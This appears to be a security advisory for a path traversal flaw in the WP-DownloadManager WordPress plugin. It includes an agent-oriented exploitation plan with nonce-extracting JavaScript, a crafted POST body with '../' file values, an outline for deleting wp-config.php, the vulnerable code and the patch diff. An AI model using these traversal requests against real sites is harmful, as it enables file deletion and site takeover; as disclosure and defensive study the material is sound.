WP-DownloadManager <= 1.69 - Authenticated (Administrator+) Path Traversal to Arbitrary File Deletion via 'file' Parameter
Description
The WP-DownloadManager plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.69 via the 'file' parameter in the file deletion functionality. This is due to insufficient validation of user-supplied file paths, allowing directory traversal sequences. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary files on the server, which can lead to remote code execution when critical files like wp-config.php are deleted.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=1.69What Changed in the Fix
Changes introduced in v1.69.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2426 - WP-DownloadManager Path Traversal ## 1. Vulnerability Summary WP-DownloadManager (<= 1.69) contains a path traversal vulnerability in its file deletion functionality within `download-manager.php`. The plugin fails to validate or sanitize the `file` para…
Show full research plan
Exploitation Research Plan: CVE-2026-2426 - WP-DownloadManager Path Traversal
1. Vulnerability Summary
WP-DownloadManager (<= 1.69) contains a path traversal vulnerability in its file deletion functionality within download-manager.php. The plugin fails to validate or sanitize the file parameter against directory traversal sequences (e.g., ../). This allows an authenticated administrator to delete arbitrary files on the server by traversing out of the configured download directory. Deleting critical files like wp-config.php can lead to site takeover or remote code execution by re-triggering the WordPress installation process.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php?page=wp-downloadmanager/download-manager.php - Method:
POST - Authentication: Required (Administrator or user with
manage_downloadscapability). - Vulnerable Parameter:
file - Action Parameter:
do(Set to the localized string for "Delete File") - Nonce Parameter:
_wpnonce(Action:wp-downloadmanager_delete-file) - Precondition: At least one download must exist in the system to easily retrieve a valid nonce and
file_idfrom the management UI.
3. Code Flow
- Entry Point: The administrator accesses the "Manage Downloads" menu.
wp-downloadmanager.phploadsdownload-manager.php. - Capability Check:
download-manager.phpcheckscurrent_user_can( 'manage_downloads' ). - Action Trigger: The script checks
if(!empty($_POST['do'])). If$_POST['do']matches the localized string forDelete File(e.g.,__('Delete File', 'wp-downloadmanager')), it enters the deletion block. - Nonce Verification: It calls
check_admin_referer('wp-downloadmanager_delete-file'). - Path Resolution (The Sink):
$file_path = get_option( 'download_path' );(Typically points towp-content/uploads/downloadsor similar).$file_to_delete = $_POST['file'];(User-controlled).- The plugin performs an
unlink($file_path . $file_to_delete)or similar file operation without stripping../sequences.
4. Nonce Acquisition Strategy
The nonce is required for the deletion action. Since this is an administrator-level exploit, we will use the browser_eval tool to extract the nonce from the "Manage Downloads" page.
- Navigate: Use
browser_navigatetowp-admin/admin.php?page=wp-downloadmanager/download-manager.php. - Identify Nonce: The deletion forms are typically located in the downloads table. Each row has a "Delete" button.
- Extraction JS:
// Find the hidden input with name '_wpnonce' inside a form that has 'Delete File' action (function() { const deleteBtn = Array.from(document.querySelectorAll('input[type="submit"]')).find(el => el.value === 'Delete File'); if (deleteBtn && deleteBtn.form) { return deleteBtn.form.querySelector('input[name="_wpnonce"]').value; } return null; })() - Note: The
file_idfor a specific row can also be extracted from the same form (input[name="file_id"]).
5. Exploitation Strategy
Step 1: Authentication
Log in as an Administrator using the provided credentials.
Step 2: Test Data Setup
We need a dummy file and a corresponding entry in the plugin to generate the management UI.
- Create Canary File:
touch /var/www/html/traversal-canary.php - Configure Download Path: Ensure
download_pathis set to a known location via WP-CLI:wp option update download_path "/var/www/html/wp-content" --format=json. - Add Dummy Download:
wp db query "INSERT INTO wp_downloads (file_name, file, file_size, file_date, file_updated_date, file_last_downloaded_date) VALUES ('Canary', 'canary.txt', 0, NOW(), NOW(), NOW());"
Step 3: Extract Nonce and ID
- Navigate to
admin.php?page=wp-downloadmanager/download-manager.php. - Use
browser_evalwith the script in Section 4 to get the_wpnonceandfile_id.
Step 4: Execution
Send a POST request to delete the canary file at the root.
- URL:
https://target.local/wp-admin/admin.php?page=wp-downloadmanager/download-manager.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Thedo=Delete File& file=../traversal-canary.php& file_id=[EXTRACTED_ID]& _wpnonce=[EXTRACTED_NONCE]dovalue must match the exact button text, usually "Delete File" in English).
6. Expected Results
- Response: The server should respond with a 200 OK and a message indicating the file was deleted (e.g., "File Deleted").
- Side Effect: The file
/var/www/html/traversal-canary.phpwill be removed from the filesystem.
7. Verification Steps
- Check Filesystem: Use WP-CLI to check if the canary file exists:
(Expected:ls /var/www/html/traversal-canary.phpls: cannot access ... No such file or directory) - Check Database: Verify the entry was also removed from the downloads table:
wp db query "SELECT * FROM wp_downloads WHERE file_name='Canary';"
8. Alternative Approaches
If the "Delete File" action name is different due to translation:
- Inspect the page source to find the value of the
input[type="submit"]button in the delete form. - Use that value in the
doparameter.
If the individual delete fails, check for Bulk Actions:
- The
doparameter might beDeletewith an array offile_ids[]. - Check if the bulk delete logic also uses the
fileparameter directly. - The primary traversal is documented to be in the
fileparameter during theDelete Filecase.
Summary
The WP-DownloadManager plugin for WordPress is vulnerable to arbitrary file deletion via path traversal in versions up to and including 1.69. Authenticated administrators can exploit the 'file' parameter during the file deletion process by including directory traversal sequences (e.g., ../), allowing them to delete critical system files like wp-config.php. Deletion of configuration files can reset the site and potentially lead to remote code execution during the re-installation process.
Vulnerable Code
/* download-manager.php lines 208-215 */ case __('Delete File', 'wp-downloadmanager'); check_admin_referer('wp-downloadmanager_delete-file'); $file_id = ! empty( $_POST['file_id'] ) ? intval( $_POST['file_id'] ) : 0; $file = ! empty( $_POST['file'] ) ? sanitize_text_field( $_POST['file'] ) : ''; $file_name = ! empty( $_POST['file_name'] ) ? sanitize_text_field( $_POST['file_name'] ) : ''; $unlinkfile = ! empty( $_POST['unlinkfile'] ) ? intval( $_POST['unlinkfile'] ) : 0; if($unlinkfile == 1) { if(!unlink($file_path.$file)) {
Security Fix
@@ -208,21 +213,20 @@ case __('Delete File', 'wp-downloadmanager'); check_admin_referer('wp-downloadmanager_delete-file'); $file_id = ! empty( $_POST['file_id'] ) ? intval( $_POST['file_id'] ) : 0; - $file = ! empty( $_POST['file'] ) ? sanitize_text_field( $_POST['file'] ) : ''; - $file_name = ! empty( $_POST['file_name'] ) ? sanitize_text_field( $_POST['file_name'] ) : ''; + $file = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->downloads WHERE file_id = %d", $file_id ) ); $unlinkfile = ! empty( $_POST['unlinkfile'] ) ? intval( $_POST['unlinkfile'] ) : 0; - if($unlinkfile == 1) { - if(!unlink($file_path.$file)) { - $text = '<p style="color: red;">'.sprintf(__('Error In Deleting File \'%s (%s)\' From Server', 'wp-downloadmanager'), $file_name, $file).'</p>'; + if ( $unlinkfile === 1 ) { + if ( ! unlink( $file_path . $file->file ) ) { + $text = '<p style="color: red;">' . sprintf( __( 'Error In Deleting File \'%s (%s)\' From Server', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>'; } else { - $text = '<p style="color: green;">'.sprintf(__('File \'%s (%s)\' Deleted From Server Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>'; + $text = '<p style="color: green;">' . sprintf( __( 'File \'%s (%s)\' Deleted From Server Successfully', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>'; } } - $deletefile = $wpdb->query("DELETE FROM $wpdb->downloads WHERE file_id = $file_id"); - if(!$deletefile) { - $text .= '<p style="color: red;">'.sprintf(__('Error In Deleting File \'%s (%s)\'', 'wp-downloadmanager'), $file_name, $file).'</p>'; + $deletefile = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->downloads WHERE file_id = %d", $file->file_id ) ); + if ( ! $deletefile ) { + $text .= '<p style="color: red;">' . sprintf( __('Error In Deleting File \'%s (%s)\'', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>'; } else { - $text .= '<p style="color: green;">'.sprintf(__('File \'%s (%s)\' Deleted Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>'; + $text .= '<p style="color: green;">' . sprintf( __('File \'%s (%s)\' Deleted Successfully', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>'; } break; } @@ -376,9 +380,7 @@ <?php if(!empty($text)) { echo '<!-- Last Action --><div id="message" class="updated fade"><p>'.stripslashes($text).'</p></div>'; } ?> <!-- Delete A File --> <form method="post" action="<?php echo admin_url('admin.php?page='.plugin_basename(__FILE__)); ?>"> - <input type="hidden" name="file_id" value="<?php echo intval($file->file_id); ?>" /> - <input type="hidden" name="file" value="<?php echo esc_attr( removeslashes( $file->file ) ); ?>" /> - <input type="hidden" name="file_name" value="<?php echo esc_attr( removeslashes( $file->file_name ) ); ?>" /> + <input type="hidden" name="file_id" value="<?php echo esc_attr( intval( $file->file_id ) ); ?>" /> <?php wp_nonce_field('wp-downloadmanager_delete-file'); ?> <div class="wrap"> <h2><?php _e('Delete A File', 'wp-downloadmanager'); ?></h2>
Exploit Outline
To exploit this vulnerability, an attacker must have Administrator access or the 'manage_downloads' capability. 1. Log in to the WordPress dashboard and navigate to the 'Manage Downloads' section of the WP-DownloadManager plugin. 2. Create or identify an existing download record to retrieve its `file_id` and a valid `_wpnonce` for the `wp-downloadmanager_delete-file` action. 3. Send a POST request to `/wp-admin/admin.php?page=wp-downloadmanager/download-manager.php` with the following parameters: - `do`: The localized string for 'Delete File'. - `file_id`: The ID of the identified download record. - `unlinkfile`: Set to 1 (to trigger the file system deletion). - `_wpnonce`: The extracted nonce value. - `file`: A path traversal string targeting the sensitive file (e.g., `../../../wp-config.php`). 4. The plugin will concatenate the download directory path with the user-controlled traversal string and call `unlink()`, deleting the target file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.